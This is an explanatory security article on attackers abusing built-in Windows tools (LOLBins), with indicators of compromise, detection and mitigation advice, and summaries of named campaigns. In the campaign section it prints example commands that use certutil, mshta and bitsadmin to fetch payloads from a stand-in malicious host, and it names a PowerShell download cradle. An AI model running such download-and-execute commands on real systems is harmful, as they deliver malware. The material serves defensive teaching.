LOLBins (Living-Off-the-Land Binaries) are legitimate, trusted OS utilities (mostly Windows, but also Linux/macOS) abused by attackers to execute malicious activity without dropping obvious malware.
Common goals:
- Evade antivirus / EDR
- Blend in with normal admin activity
- Reduce forensic footprint
Typical LOLBins Attack Flow
- Initial Access
- Phishing, exploit, stolen credentials, RDP abuse
- Execution via LOLBin
- PowerShell, mshta, rundll32, certutil, etc.
- Payload Delivery
- Fileless scripts, remote DLLs, encoded commands
- Persistence / Lateral Movement
- Scheduled tasks, WMI, services
- Command & Control
- HTTPS, DNS, cloud services
Common LOLBins & Abused Techniques
- PowerShell – Encoded commands, download cradles
- cmd.exe – Script chaining
- mshta.exe – Remote HTA execution
- rundll32.exe – Execute malicious DLL exports
- regsvr32.exe – Scriptlet execution
- certutil.exe – File download & Base64 decode
- wmic.exe – Remote execution & persistence
- bitsadmin.exe – Stealthy file transfer
Payload Characteristics
LOLBins payloads are often:
- Fileless (memory-only execution)
- Encoded or obfuscated
- Downloaded at runtime
- Living in registry, WMI, or scheduled tasks
Examples:
- PowerShell
-EncodedCommand - HTA files hosting JavaScript/VBScript
- DLLs loaded from user-writable directories
- C2 payloads over HTTPS/DNS
Indicators of Compromise (IOCs)
Behavioral IOCs (Most Important)
- PowerShell with:
-EncodedCommandIEX (New-Object Net.WebClient)
- LOLBins executing from non-standard parents
- Unsigned DLLs loaded by
rundll32.exe - Command-line LOLBins spawning network connections
- Execution from user profile or temp directories
Host-Based IOCs
- Suspicious scheduled tasks
- Registry Run keys invoking LOLBins
- WMI event subscriptions
- Unusual Base64 strings in logs
Network IOCs
- LOLBins making outbound HTTPS/DNS connections
- Connections to:
- Newly registered domains
- Cloud storage (Pastebin, GitHub raw, OneDrive)
Detection & Mitigation Strategies
Preventive Controls
- Application Control
- AppLocker / WDAC rules for LOLBins
- Disable or Restrict
- PowerShell v2
mshta,wscript,cscriptif not required
- Least Privilege
- Remove local admin rights
Detection Controls
- Command-line Logging
- Enable PowerShell Script Block Logging
- EDR Behavioral Rules
- LOLBins + network + obfuscation
- Sysmon
- Process creation, image loads, network connections
Response Actions
- Isolate affected endpoint
- Kill malicious parent/child process tree
- Remove persistence mechanisms
- Reset compromised credentials
Summary Table (As Requested)
| Category | Details |
|---|---|
| Attack Type | Living-Off-the-Land (LOLBins) |
| Primary Goal | Evasion, stealth execution |
| Common LOLBins | PowerShell, mshta, rundll32, regsvr32, certutil |
| Payload Type | Fileless scripts, encoded commands, remote DLLs |
| Key IOCs | Encoded PowerShell, unusual parent-child processes, LOLBins with network traffic |
| Persistence | Scheduled tasks, registry run keys, WMI |
| Detection Focus | Behavioral analysis, command-line logging |
| Mitigation | AppLocker/WDAC, disable unused LOLBins, least privilege |
How Real Attackers Abuse Native Binaries
1. FIN7 – PowerShell & certutil (Financial Crime)
Threat Actor: FIN7 (aka Carbanak Group)
Target: Retail, hospitality, financial orgs
Year(s): 2017–2020
What Happened
FIN7 used PowerShell and certutil.exe to download and execute malware without obvious malicious binaries.
LOLBins Used
powershell.execertutil.exe
Technique
certutil -urlcache -split -f http://malicious[.]site/payload.exe payload.exe
powershell -EncodedCommand <Base64>
Impact
- Stole millions in payment card data
- Bypassed signature-based AV
- Looked like normal admin activity
Why It Matters
This campaign made certutil abuse a classic LOLBins detection use case in SOCs.
2. APT29 (Cozy Bear) – Fileless PowerShell
Threat Actor: APT29 (Russian state-sponsored)
Target: Government & diplomatic networks
Year: 2018–2021
What Happened
APT29 executed fileless malware entirely in memory using PowerShell download cradles.
LOLBins Used
powershell.exewmic.exe
Technique
- Remote PowerShell scripts loaded into memory
- WMI for persistence and lateral movement
Impact
- Long-term espionage
- Extremely low forensic footprint
Why It Matters
Demonstrated how fileless LOLBins attacks can evade disk-based detection entirely.
3. Emotet – rundll32 Abuse
Threat Actor: Emotet botnet
Target: Enterprises worldwide
Year(s): 2018–2022
What Happened
Emotet loaders used rundll32.exe to execute malicious DLL exports.
LOLBins Used
rundll32.exe
Technique
rundll32.exe C:\Users\Public\invoice.dll,EntryPoint
Impact
- Initial access for ransomware (Ryuk, Conti)
- Rapid lateral spread
Why It Matters
Showed how legitimate Windows DLL execution mechanisms can mask malware execution.
4. APT32 (OceanLotus) – mshta.exe
Threat Actor: APT32 (Vietnam-linked)
Target: Corporations, journalists, NGOs
Year: 2019–2020
What Happened
Used mshta.exe to load malicious HTA files from the internet.
LOLBins Used
mshta.exe
Technique
mshta http://malicious[.]site/payload.hta
Payload
- JavaScript/VBScript backdoors
- C2 over HTTPS
Why It Matters
Many environments did not monitor mshta, assuming it was obsolete.
5. SolarWinds Post-Exploitation – PowerShell & WMI
Threat Actor: APT29
Target: SolarWinds customers (supply chain)
Year: 2020
What Happened
After backdoor deployment, attackers relied heavily on LOLBins for post-exploitation.
LOLBins Used
powershell.exewmic.exeschtasks.exe
Techniques
- Fileless reconnaissance
- Credential dumping via PowerShell
- Scheduled tasks for persistence
Why It Matters
Even high-end nation-state attacks prefer LOLBins once inside.
6. LockBit & Conti Ransomware – bitsadmin & PowerShell
Threat Actor: LockBit / Conti
Target: Enterprises, healthcare, manufacturing
Year(s): 2021–2023
What Happened
Ransomware operators used LOLBins to stage payloads before detonation.
LOLBins Used
bitsadmin.exepowershell.exewmic.exe
Technique
bitsadmin /transfer job http://malicious[.]site/ransom.exe C:\Temp\ransom.exe
Why It Matters
Shows LOLBins are not just for stealthy espionage, but also high-impact ransomware operations.
Summary Table (Real-World LOLBins Incidents)
| Threat Actor | Year(s) | LOLBins Used | Purpose |
|---|---|---|---|
| FIN7 | 2017–2020 | PowerShell, certutil | Malware delivery, evasion |
| APT29 | 2018–2021 | PowerShell, WMIC | Fileless espionage |
| Emotet | 2018–2022 | rundll32 | Loader execution |
| APT32 | 2019–2020 | mshta | Script-based backdoor |
| SolarWinds APT29 | 2020 | PowerShell, schtasks | Post-exploitation |
| LockBit / Conti | 2021–2023 | bitsadmin, PowerShell | Ransomware staging |
